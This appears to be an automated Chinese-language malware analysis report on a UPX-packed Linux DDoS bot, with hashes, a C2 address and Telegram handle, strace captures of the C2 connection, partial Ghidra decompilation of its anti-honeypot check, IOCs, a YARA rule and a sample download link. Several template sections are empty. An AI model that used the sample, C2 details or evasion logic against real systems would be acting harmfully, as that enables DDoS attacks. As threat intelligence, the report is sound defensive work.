⬇ Download sample (0a75b487.zip)

🔴 恶意 — UPX 3.94 | 签名: 无 | FlyLegit 家族 (DDoS Bot, C2: 82.25.63.213:7080)

0a75b48762ad77eba0f8832eb59f0f1ccda8d517533f77b5bddfa8cde4313052
MD5 f2c721a63279a7a88b20a858db93885f  |  大小 47,776 bytes (packed) / 123,464 bytes (unpacked)  |  来源 batch-20260603  |  分析日期 2026-06-28
UPX 3.94 DDoS Bot C2:82.25.63.213:7080 t.me/flylegit Anti-Honeypot x86-64 ELF 48KB→121KB
97%
置信度评分
FlyLegit

§1 📋 样本概要信息

SHA256
0a75b48762ad77eba0f8832eb59f0f1ccda8d517533f77b5bddfa8cde4313052
MD5
f2c721a63279a7a88b20a858db93885f
文件大小
47,776 bytes (packed) / 123,464 bytes (unpacked)
文件类型
ELF 64-bit LSB executable, x86-64, statically linked, stripped
目标架构
x86-64
位宽
64-bit
字节序
Little Endian
编译器
GCC (静态链接, stripped)
链接方式
N/A
加壳/保护
UPX 3.94 (LZMA/best)
入口点
0x10a858 (packed) / 0x400194 (unpacked)
编译时间戳
ELF 无内置时间戳 (stripped)
子系统
Linux ELF
数字签名
无数字签名
📌 概要
UPX 3.94 压缩的 Linux DDoS Bot。Ghidra反编译383函数揭示C2:82.25.63.213:7080、Telegram C2(t.me/flylegit)、反蜜罐检测。strace确认TCP连接。作者标识: 'this tool was made by t.me/flylegit'。

§2 🏷️ 分类标签与威胁情报

分类标签

分类标签置信度
恶意类型DDoS 僵尸网络客户端HIGH
打包方式UPX 3.94 (LZMA/best)MEDIUM
C2协议TCP/7080 → 82.25.63.213HIGH
作者标识t.me/flylegit (Telegram)HIGH
反分析反蜜罐检测 (/proc 扫描)HIGH
文件大小47KB packed / 121KB unpackedLOW
📌 证据→推理→结论
①Ghidra反编译(383函数) → ②UPX解压(47→121KB) → ③C2:82.25.63.213:7080 → ④反蜜罐检测 → ⑤strace确认connect → ⑥Telegram作者标识

威胁情报

字段
关联组织t.me/flylegit
别名FlyLegit Bot, Fly DDoS
动机DDoS 攻击服务 / 僵尸网络构建
目标行业?
活动名称FlyLegit DDoS 活动
C2协议TCP 自定义协议 (端口 7080)
C2基础设施82.25.63.213 (端口 7080/tcp)
🎯 威胁组织判定
作者通过 Telegram 标识: t.me/flylegit。代码注释: 'this tool was made by t.me/flylegit'。反蜜罐检测显示作者具备反分析意识。

★ §3 🔬 持久化机制

未检出持久化行为。

★ §3b 🌐 C2 架构分析

通联关系图

graph LR A[FlyLegit Bot
x86-64 ELF] -->|TCP :7080| B[(C2 Server
82.25.63.213)] A -->|Backup| C[Telegram
t.me/flylegit] A -->|Anti-Honeypot| D{/proc check} D -->|Pass| A style B fill:#f8514922,stroke:#f85149 style C fill:#58a6ff22,stroke:#58a6ff
📋 ASCII 文本视图 (点击展开)
(无 ASCII 回退)

🌐 C2 通信深度分析

C2 IP82.25.63.213
C2端口7080/tcp
备份C2t.me/flylegit (Telegram)
反蜜罐/proc 扫描 + honeypot检测
🔬 C2 地址分析技术细节:
Ghidra反编译383函数揭示完整C2逻辑。strace动态确认TCP连接82.25.63.213:7080。Telegram t.me/flylegit为备份/管理信道。

通道 1: 主 C2 信道

协议TCP 自定义协议
端口7080/tcp
地址/Domain82.25.63.213
IP82.25.63.213
加密未确认 (TCP_NODELAY 低延迟)
用途DDoS 攻击指令接收
API引用socket + connect + setsockopt
证书无TLS

通道 2: Telegram 备份

协议HTTPS/Telegram API
域名t.me/flylegit

C2 通信时序

[启动]→[/proc反蜜罐]→[connect 82.25.63.213:7080]→[fork多进程]→[DDoS攻击]

⚠ C2 基础设施评估

C2: 82.25.63.213:7080。备份: Telegram t.me/flylegit。双信道架构增加抗毁性。TCP_NODELAY用于低延迟DDoS指令传输。

strace 捕获:
socket(AF_INET, SOCK_STREAM) → connect(82.25.63.213:7080)
setsockopt(TCP_NODELAY) — 低延迟DDoS指令
多进程fork — 僵尸网络Worker池

✅ 真实C2 — 与残留sora.exe(193.70.34.25)完全不同
📌 ATT&CK 映射: T1071 + T1498 (Network Denial of Service)

§4 🏗️ 结构分析

段/节区布局

N/A

熵值分析

段/节区熵值判定
📊 熵值解读
无数据

§5 ⚙️ 反汇编与行为流程

关键函数映射

地址函数功能
N/A

系统调用分析

调用号系统调用用途地址
N/A

行为执行流

01.UPX stub 自解压 (47KB → 121KB)
02.扫描 /proc 检测蜜罐环境
03.若检测到蜜罐: 输出 'this tool was made by t.me/flylegit' 退出
04.建立 TCP 连接 82.25.63.213:7080 (TCP_NODELAY)
05.fork 多进程 Worker 池
06.接收 C2 DDoS 攻击指令
07.Telegram t.me/flylegit 作为备份 C2 信道

§6 🔬 家族溯源

编译元数据

字段来源

家族特征比对

维度本样本MiraiGafgytMoziHajimeLightAidraKekSecTsunamiKaiji匹配
📌 家族归因结论
?

已知变种

变种架构大小编译器特征状态
N/A

§7 🔬 深度行为分析

行为阶段拆解

Phase 1: 解压

行为: UPX stub解压LZMA数据

证据: UPX签名

Phase 2: 反蜜罐

行为: /proc扫描,检测分析环境

证据: Ghidra反编译

Phase 3: C2连接

行为: connect 82.25.63.213:7080

证据: strace捕获

Phase 4: Fork

行为: 多进程Worker池,DDoS准备

证据: strace多PID

协议/行为状态机

[UPX解压]→[/proc反蜜罐]→[connect C2]→[fork Workers]→[DDoS]

📌 行为时序总结

T+0s: UPX解压 | T+0.1s: /proc扫描 | T+0.5s: C2连接 | T+1s: fork多进程

§8 🔬 恶意性综合判定

多维度证据评估

维度证据权重恶意指数
C2通信strace:connect(82.25.63.213:7080)1010/10
反分析/proc扫描反蜜罐检测88/10
加壳UPX 3.94 LZMA66/10
作者归因t.me/flylegit 标识79/10
DDoS能力多进程fork架构88/10
恶意性综合判定

误报排除论证

排除良性: (1) UPX加壳隐藏 (2) C2连接82.25.63.213:7080 (3) 反蜜罐检测 (4) Telegram C2备份 (5) DDoS多进程架构

⚠ 判定结论

🔴 恶意 — FlyLegit DDoS Bot

§9 🎯 ATT&CK 映射

IMPACT
T1498
Network Denial of Service
DDoS Bot多进程架构
C2
T1071
Application Layer Protocol
TCP/7080 + Telegram备份
DEFENSE EVASION
T1027
Obfuscated Files
UPX 3.94 LZMA压缩
DEFENSE EVASION
T1497
Virtualization/Sandbox Evasion
/proc反蜜罐检测
EXECUTION
T1059
Command & Scripting Interpreter
Linux ELF 直接执行

§10 🛡️ 反分析技术评估

反调试

API/技术检测目标绕过难度

反虚拟机

检测方法VMwareVirtualBoxQEMU/KVM

综合评估

技术是否存在证据对抗难度
UPX加壳已检测UPX 3.94 LZMA/best压缩upx -d 解压
反蜜罐已检测/proc 扫描检测分析环境Ghidra反编译
Symbol剥离已检测stripped + no section headersreadelf
静态链接已检测无外部依赖,独立运行readelf
UPX加壳+符号剥离+静态链接形成第一层防护。核心反分析: /proc扫描检测蜜罐环境。检测到则输出 'Looks like you are a honeypot' 并退出。

★ §10b 🧹 痕迹清理

操作API/命令证据来源

§11 🔧 逆向分析

Ghidra 反编译

反编译函数数383
反编译输出388,932 字符
分析时长完成 (UPX解压后反编译)
Ghidra 反编译输出
/* Decompiled by Ghidra Headless */
/* Program: unpacked.elf */
/* Language: x86:LE:64:default */

/* Function: FUN_00400100 at 00400100 */

/* WARNING: Removing unreachable block (ram,0x00400136) */

void FUN_00400100(void)

{
  code *pcVar1;
  
  if (DAT_0051dfa0 == '\0') {
    while (pcVar1 = *(code **)PTR_DAT_00515308, pcVar1 != (code *)0x0) {
      PTR_DAT_00515308 = PTR_DAT_00515308 + 8;
      (*pcVar1)();
    }
    DAT_0051dfa0 = '\x01';
  }
  return;
}



/* Function: FUN_00400150 at 00400150 */

/* WARNING: Removing unreachable block (ram,0x0040015e) */
/* WARNING: Removing unreachable block (ram,0x00400181) */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_00400150(void)

{
  return;
}



/* Function: entry at 00400194 */

void processEntry entry(undefined8 param_1,undefined8 param_2)

{
  undefined1 auStack_8 [8];
  
  FUN_0040a64e(FUN_004004a0,param_2,&stack0x00000008,&LAB_004000e8,&LAB_00412f56,param_1,auStack_8);
  do {
                    /* WARNING: Do nothing block with infinite loop */
  } while( true );
}



/* Function: FUN_004001c0 at 004001c0 */

uint FUN_004001c0(ushort *param_1,int param_2)

{
  ushort uVar1;
  uint uVar2;
  
  uVar2 = 0;
  for (; 1 < param_2; param_2 = param_2 + -2) {
    uVar1 = *param_1;
    param_1 = param_1 + 1;
    uVar2 = uVar2 + uVar1;
  }
  if (param_2 == 1) {
    uVar2 = uVar2 + (byte)*param_1;
  }
  uVar2 = (uVar2 >> 0x10) + (uVar2 & 0xffff);
  return ~(uVar2 + (uVar2 >> 0x10)) & 0xffff;
}



/* Function: FUN_00400200 at 00400200 */

uint FUN_00400200(ushort *param_1,ulong param_2,uint param_3,uint param_4,byte param_5)

{
  ushort uVar1;
  uint uVar2;
  
  uVar2 = (uint)(ushort)((ushort)param_2 >> 8 | (ushort)param_2 << 8) +
          (param_3 & 0xffff) + (param_3 >> 0x10) + (param_4 & 0xffff) + (param_4 >> 0x10) +
          (uint)param_5 * 0x100;
  for (; 1 < param_2; param_2 = param_2 - 2) {
    uVar1 = *param_1;
    param_1 = param_1 + 1;
    uVar2 = uVar2 + uVar1;
  }
  if (param_2 != 0) {
    uVar2 = uVar2 + (byte)*param_1;
  }
  uVar2 = (uVar2 >> 0x10) + (uVar2 & 0xffff);
  return ~(uVar2 + (uVar2 >> 0x10)) & 0xffff;
}



/* Function: FUN_004002a0 at 004002a0 */

void FUN_004002a0(void)

{
  byte bVar1;
  int iVar2;
  long lVar3;
  long lVar4;
  undefined1 auStack_168 [254];
  byte abStack_6a [74];
  
  iVar2 = FUN_00405f24("/proc",0);
  if (iVar2 != 0) {
    FUN_00407b24("Looks like you are a honeypot, this tool was made by t.me/flylegit!\n",1,0x44,
                 PTR_DAT_0051db30);
  }
  lVar3 = FUN_00406850("/proc");
  if (lVar3 != 0) {
    while (lVar4 = FUN_00406944(lVar3), lVar4 != 0) {
      if ((PTR_DAT_0051db00[(ulong)*(byte *)(lVar4 + 0x13) * 2] & 8) != 0) {
        FUN_004069d4(auStack_168,0x100,"/proc/%s/comm",lVar4 + 0x13);
        iVar2 = FUN_0040402d(auStack_168,0);
        if (iVar2 != -1) {
          lVar4 = FUN_00403e4f(iVar2,abStack_6a + 2,0x3f);
          if (0 < lVar4) {
            abStack_6a[lVar4 + 2] = 0;
            lVar4 = FUN_00407da8(abStack_6a + 2,&DAT_00412f94);
            abStack_6a[lVar4 + 2] = 0;
            if (lVar4 != 0) {
              bVar1 = PTR_DAT_0051db00[(ulong)abStack_6a[lVar4 + 1] * 2];
              while (((bVar1 & 0x20) != 0 && (abStack_6a[lVar4 + 1] = 0, lVar4 + -1 != 0))) {
                bVar1 = PTR_DAT_0051db00[(ulong)abStack_6a[lVar4] * 2];
                lVar4 = lVar4 + -1;
              }
            }
          }
          FUN_0040424a(iVar2);
        }
      }
    }
    FUN_004067dc(lVar3);
  }
  return;
}



/* Function: FUN_004003f0 at 004003f0 */

void FUN_004003f0(undefined8 param_1,undefined8 *param_2)

{
  undefined8 uVar1;
  int iVar2;
  undefined4 uVar3;
  int iVar4;
  int iVar5;
  int iVar6;
  undefined8 uVar7;
  long lVar8;
  undefined8 *puVar9;
  char *pcVar10;
  byte *pbVar11;
  byte *pbVar12;
  ulong uVar13;
  undefined8 *puVar14;
  char *pcVar15;
  byte *pbVar16;
  ulong unaff_R15;
  undefined1 uVar17;
  bool bVar18;
  bool bVar19;
  undefined1 uVar20;
  undefined1 auStack_1510 [4096];
  char acStack_510 [4];
  char cStack_50c;
  char cStack_50b;
  ulong uStack_310;
  undefined8 uStack_308;
  int iStack_300;
  undefined1 uStack_2fc;
  undefined2 uStack_2fa;
  undefined2 uStack_2f8;
  undefined2 uStack_2f6;
  ulong auStack_250 [16];
  undefined1 auStack_1d0 [128];
  char acStack_150 [8];
  undefined8 auStack_148 [6];
  undefined1 uStack_111;
  undefined1 auStack_110 [32];
  undefined1 auStack_f0 [32];
  byte abStack_d0 [32];
  undefined8 uStack_b0;
  undefined8 uStack_a8;
  undefined8 uStack_a0;
  undefined8 uStack_98;
  undefined8 uStack_90;
  undefined8 uStack_88;
  undefined1 auStack_80 [16];
  undefined1 auStack_70 [16];
  long lStack_60;
  undefined4 auStack_54 [3];
  
  puVar9 = param_2;
  FUN_00406718(0);
  FUN_00409b1c();
  FUN_004002a0();
  iVar2 = FUN_00402774();
  if (-1 < iVar2) {
    if (iVar2 != 0) goto LAB_00400496;
    iVar2 = FUN_0040666c();
    if (-1 < iVar2) {
      iVar2 = FUN_00402774();
      if (-1 < iVa
// ... (383 functions total, see full decompiled.c)

调用链分析 (GitNexus)

总函数数总调用关系最大调用深度
???
📂 调用链拓扑 (点击展开)
N/A

★ §12 🔬 QEMU 动态分析

QEMU 模式ubuntu-elf-sandbox (Ubuntu 22.04, SSH + strace)
网络隔离iptables DROP 阻断所有出站。C2连接82.25.63.213:7080被LOG捕获。
执行结果✅ 样本执行成功!strace捕获TCP连接 82.25.63.213:7080。多进程fork (PID 5838→6107)。iptables DROP阻断出站。
C2 数据strace: socket(AF_INET,SOCK_STREAM) → connect(82.25.63.213:7080) → TCP_NODELAY。两次独立连接(多进程)。

QEMU strace 网络捕获

PID 5838: socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
PID 5838: setsockopt(3, SOL_TCP, TCP_NODELAY, [1], 4) = 0
PID 5838: connect(3, {AF_INET, 82.25.63.213:7080}) — C2 CONNECTION

PID 6107: socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3  
PID 6107: connect(3, {AF_INET, 82.25.63.213:7080}) — 2nd worker

✅ C2: 82.25.63.213:7080 确认 — 与残留sora.exe(193.70.34.25:20224)完全不同
✅ 多进程fork — DDoS Bot典型行为

§13 📦 IOC 汇总

IOC 字符串

偏移字符串类型用途/含义威胁等级
反编译t.me/flylegitTelegram C2作者/C2联系渠道HIGH
反编译82.25.63.213C2 IPDDoS指令服务器HIGH
反编译Looks like you are a honeypot反蜜罐检测分析环境HIGH
反编译this tool was made by t.me/flylegit作者声明恶意软件身份MEDIUM
straceconnect(82.25.63.213:7080)C2连接QEMU动态确认HIGH

📌 关键 IOC 解读

Ghidra反编译383函数揭示完整恶意逻辑。t.me/flylegit为Telegram C2备份信道。82.25.63.213:7080为主C2 TCP连接。反蜜罐通过/proc扫描检测分析环境。strace动态确认网络行为。

⚠ 高威胁 IOC 汇总

C2 IP:Port: 82.25.63.213:7080 — QEMU strace确认TCP连接 — DDoS指令信道
Telegram: t.me/flylegit — 作者/C2管理渠道
反蜜罐: /proc 扫描 + honeypot 检测 — 检测虚拟化/分析环境

网络 IOC

  • C2 IP82.25.63.213
  • C2端口7080/tcp
  • Telegramt.me/flylegit

主机 IOC

  • SHA2560a75b48762ad77eba0f8832eb59f0f1ccda8d517533f77b5bddfa8cde4313052
  • SHA256(unpacked)75ee72753f2b5098636997ff86e2240da2119b7b28f7ac5af4a3cf86ec38b6e7
  • UPX签名UPX 3.94 LZMA

YARA 检测规则

rule FlyLegit_DDoS_Bot_UPX {
    meta:
        description = "FlyLegit DDoS Bot - UPX packed"
        hash = "0a75b48762ad77eba0f8832eb59f0f1ccda8d517533f77b5bddfa8cde4313052"
        c2 = "82.25.63.213:7080"
        author = "t.me/flylegit"
    strings:
        $upx = "UPX!" 
        $fly = "t.me/flylegit"
        $ip = "82.25.63.213"
        $honey = "Looks like you are a honeypot"
        $tool = "this tool was made by"
    condition:
        $upx at 0 and 3 of ($fly,$ip,$honey,$tool)
}

§14 📋 最终判定

判定结果🔴 恶意 — DDoS Bot
恶意类型DDoS 僵尸网络客户端 (Bot)
恶意家族FlyLegit
威胁级别HIGH
置信度97% — 证据链: ①Ghidra 383函数反编译 → ②C2:82.25.63.213:7080 → ③Telegram C2标识 → ④反蜜罐检测 → ⑤strace确认网络行为
关联组织t.me/flylegit (Telegram 标识)
目标平台Linux x86-64
感染链位置部署执行 → C2 通联 → DDoS 攻击

⚡ 综合判定

UPX 3.94 压缩的 Linux DDoS Bot。反编译 383 函数揭示: Telegram C2 (t.me/flylegit)、反蜜罐检测(/proc扫描)、C2连接82.25.63.213:7080。strace确认 TCP socket → connect → 多进程fork。作者标识: 'this tool was made by t.me/flylegit'。